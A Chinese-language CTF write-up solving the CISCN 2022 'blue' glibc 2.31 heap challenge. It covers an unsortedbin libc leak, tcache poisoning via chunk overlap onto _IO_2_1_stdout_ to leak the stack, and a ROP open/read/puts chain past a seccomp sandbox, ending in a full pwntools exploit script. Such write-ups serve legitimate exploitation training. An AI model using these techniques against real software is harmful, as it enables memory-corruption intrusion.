# Ciscn_2022 blue

前言:一道 2.31 的 glibc 堆题(国赛将至,复现一下吧

# 了解程序

首先需要检查程序保护

# 保护全开

image-20240621141324623

Ida 分析一下程序

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]
  sub_1730(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_18D5();// 菜单,无 edit
      v3 = sub_12A8();//str_2_int
      if ( v3 != 666 )
        break;
      sub_1663();
    }
    if ( v3 > 666 )
    {
LABEL_13:
      sub_1289("Invalid choice\n");
    }
    else if ( v3 == 3 )
    {
      sub_14C5();//show
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        sub_138A();//add
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        sub_1592();//dele 无 UAF
      }
    }
  }
}

# sub_1730 (开启沙盒)

image-20240621141506838

__int64 sub_1663()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]
  if ( dword_4070 > 0 )// 只能使用一次这个函数
  {
    puts("ERROR");
    _exit(0);
  }
  sub_1289("Please input idx: ");
  v1 = sub_12A8();
  if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] )
  {
    free((void *)qword_4080[v1]);// 存在 UAF
    ++dword_4070;//delete_count
    return sub_1289("DONE!\n");
  }
  else
  {
    sub_1289("ERROR\n");
    return 0xFFFFFFFFLL;
  }
}
int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]
  if ( dword_406C > 0 )// 同样只能 show 一次
  {
    puts("ERROR");
    _exit(0);
  }
  puts_0("Please input idx: ");
  v1 = str_2_int();
  if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] )
  {
    puts_0((const char *)qword_4080[v1]);
    ++dword_406C;
    return puts_0("Done!\n");
  }
  else
  {
    puts_0("ERROR\n");
    return -1;
  }
}
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-4h]
  int_secc();
  while ( 1 )
  {
    while ( 1 )
    {
      meau();
      v3 = str_2_int();
      if ( v3 != 666 )
        break;
      uaf();
    }
    if ( v3 > 666 )
    {
LABEL_13:
      a1 = "Invalid choice\n";
      puts_0("Invalid choice\n");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add((__int64)a1, (__int64)a2);
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        dele(a1, a2);
      }
    }
  }
}

image-20240621142032888

可见程序只 ban 了 execve,还是比较简单的。

存在沙盒,一般我想到的是去利用 env 去泄露栈地址,然后再去劫持返回地址。

只需要将 orw 写到返回地址上即可。

# 思路规整

show 只有一次,那如何即去泄露 libc 地址,又去泄露 stack 地址呢?显然想要 show 两次是不合适。第一次 show 只能是泄露 libc,因为去泄露 libc 之后才能得到 env。

所以可以将 tcache 打满,然后利用 unsortedbin 去泄露 libc

for i in range(8):
	add(0x80,b'Leaklibc')
add(0x20,b'gep')
for i in range(7):
	dele(i)
# debug()
uaf(7)
show(7)
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10
libcbase = __malloc_hook - libc.sym['__malloc_hook']
success(hex(libcbase))

而第二次我们需要去泄露 env,但是 uaf 和 show 都用过一次了,那如何去利用呢。

那么就需要去了解一下 IO_FILE 了,stdout。好好说话之 IO_FILE 利用(1):利用_IO_2_1_stdout 泄露 libc_libc 泄露方式 - CSDN 博客

这篇文章已经写的很详细了。

从此文中,我们可以将 fake 一个堆块到_IO_2_1_stdout,然后将其 Flags 改成 0xfdab1800 ,再将 _IO_write_base 改成我们想泄露的地址的 起始地址 ,最后把 _IO_write_ptr 和 _IO_write_end 改成泄露地址的 终点地址 即可。

但是程序当中已经没有 uaf,那如何在去控制 fd 去做我们的 fake_chunk 呢?

利用 tcache 去做是比较简单的。那如何去利用呢?

对,使用堆拓展攻击即可。

image-20240621145849635

这是此时 bins 链表。所以我们需要修改一下泄露 libc 的代码,要不然无法进行堆拓展攻击

for i in range(9):
	add(0x80,b'Leaklibc')
add(0x20,b'gep')
for i in range(7):
	dele(i)
uaf(8)
show(8)
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10
libcbase = __malloc_hook - libc.sym['__malloc_hook']
env = libcbase + libc.sym['environ']
success(hex(libcbase))

接下来进行堆拓展攻击

dele(7) #置入 unsortedbin 内
add(0x80,b'tcache')
# debug()
dele(8)#此时 unsortedbin 内包含这 tcache

image-20240621151328883

此时我们去申请一个 chunk 使其从 unsortedbin 拿取。所以申请个 0x70(size<0x110 且不能等于 0x80

dele(7)
add(0x80,b'tcache')#0
dele(8)
add(0x70,p64(stdout))#1
add(0x70,p64(0) + p64(0x91) + p64(stdout))#此时就会修改 tcache 的 fd 指针   #2

然后此时再去申请 0x80 的 chunk 就可以得到 _IO_2_1_stdout 的 chunk

add(0x80,b'nextptr')#3
add(0x80,p64(0xfdab1800)+p64(0)*3+p64(env)+p64(env+8)*2)#4

pwndbg> dps 0x7ffff7fc26a0
00:0000│ rsi 0x7ffff7fc26a0 (IO_2_1_stdout) ◂— 0xfdab1800
01:0008│ 0x7ffff7fc26a8 (IO_2_1_stdout+8) ◂— 0x0
… ↓ 2 skipped
04:0020│ 0x7ffff7fc26c0 (IO_2_1_stdout+32) —▸ 0x7ffff7fc4600 (environ) —▸ 0x7fffffffdef8 —▸ 0x7fffffffe25e ◂— ‘SHELL=/bin/bash’
05:0028│ 0x7ffff7fc26c8 (IO_2_1_stdout+40) —▸ 0x7ffff7fc4608 ◂— 0x0
06:0030│ 0x7ffff7fc26d0 (IO_2_1_stdout+48) —▸ 0x7ffff7fc4608 ◂— 0x0
07:0038│ 0x7ffff7fc26d8 (IO_2_1_stdout+56) —▸ 0x7ffff7fc2723 (IO_2_1_stdout+131) ◂— 0xfc37e0000000000a /* ‘\n’ */

此时只要去执行一次 puts 或者 prinf 就可以泄露栈地址

dele_(3)
dele_(2)
add_(0x70,p64(0)+p64(0x91)+p64(stack_addr))
add_(0x80,b'nextptr')
# debug()
pop_rdi_ret = libcbase + 0x0000000000023b6a
pop_rsi_ret = libcbase + 0x000000000002601f
pop_rdx_ret = libcbase + 0x0000000000142c92
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
sendfile_addr = libcbase + libc.sym['sendfile']
puts = libcbase + libc.sym['puts']
flag_addr = stack_addr
payload = b'./flag\x00\x00'
# open('./flag', 0)
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# read(3, stack_addr - 0x200, 0x50)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
# write(1, stack_addr - 0x200, 0x50)
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr)
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(3) + p64(pop_rdx_ret) + p64(0) + p64(sendfile_addr)
payload += p64(pop_rdi_ret) + p64(stack_addr - 0x200) + p64(puts)
add_(0x80,payload)
it()

再次利用堆拓展攻击,申请到栈上,劫持返回地址进行 orw 即可

# 完整 exp

from LibcSearcher import *
from pwn import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# host, port = "47.103.122.127:30175".split(":")
# r = remote(host, int(port))
# r = gdb.debug('./pwn')
r = process('./pwn')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b'\0'))
uu64    = lambda data               : u64(data.ljust(8, b'\0'))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()
def meau(idx):
	sla(b"Choice: ",str(idx))
def add(sz,ct):
	meau(1)
	sla(b"Please input size: \n",str(sz))
	sa(b"Please input content: \n",ct)
def dele(idx):
	meau(2)
	sla(b"Please input idx: \n",str(idx))
def show(idx):# only one
	meau(3)
	sla(b"Please input idx: \n",str(idx))
def uaf(idx):# only one
	meau(666)
	sla(b"Please input idx: \n",str(idx))
def debug():
	gdb.attach(r)
	pause()
def add_(sz,ct):
	meau(1)
	sla(b"Please input size: ",str(sz))
	sa(b"Please input content: ",ct)
def dele_(idx):
	meau(2)
	sla(b"Please input idx: ",str(idx))
for i in range(9):#0-8
	add(0x80,b'Leaklibc')
add(0x20,b'gep')#9
for i in range(7):#0-6
	dele(i)
uaf(8)
show(8)
__malloc_hook = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10
libcbase = __malloc_hook - libc.sym['__malloc_hook']
env = libcbase + libc.sym['environ']
stdout = libcbase + libc.sym['_IO_2_1_stdout_']
success(hex(libcbase))
dele(7)
add(0x80,b'tcache')#0
dele(8)
add(0x70,p64(stdout))#1
add(0x70,p64(0) + p64(0x91) + p64(stdout))#2
add(0x80,b'nextptr')#3
add(0x80,p64(0xfdab1800)+p64(0)*3+p64(env)+p64(env+8)*2)#4
stack_addr = u64(rc(6).ljust(8,b'\0')) - 0x128
success(hex(stack_addr))
# debug()
dele_(3)
dele_(2)
add_(0x70,p64(0)+p64(0x91)+p64(stack_addr))
add_(0x80,b'nextptr')
# debug()
pop_rdi_ret = libcbase + 0x0000000000023b6a
pop_rsi_ret = libcbase + 0x000000000002601f
pop_rdx_ret = libcbase + 0x0000000000142c92
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
sendfile_addr = libcbase + libc.sym['sendfile']
puts = libcbase + libc.sym['puts']
flag_addr = stack_addr
payload = b'./flag\x00\x00'
# open('./flag', 0)
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
# read(3, stack_addr - 0x200, 0x50)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
# write(1, stack_addr - 0x200, 0x50)
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr)
# payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(3) + p64(pop_rdx_ret) + p64(0) + p64(sendfile_addr)
payload += p64(pop_rdi_ret) + p64(stack_addr - 0x200) + p64(puts)
add_(0x80,payload)
it()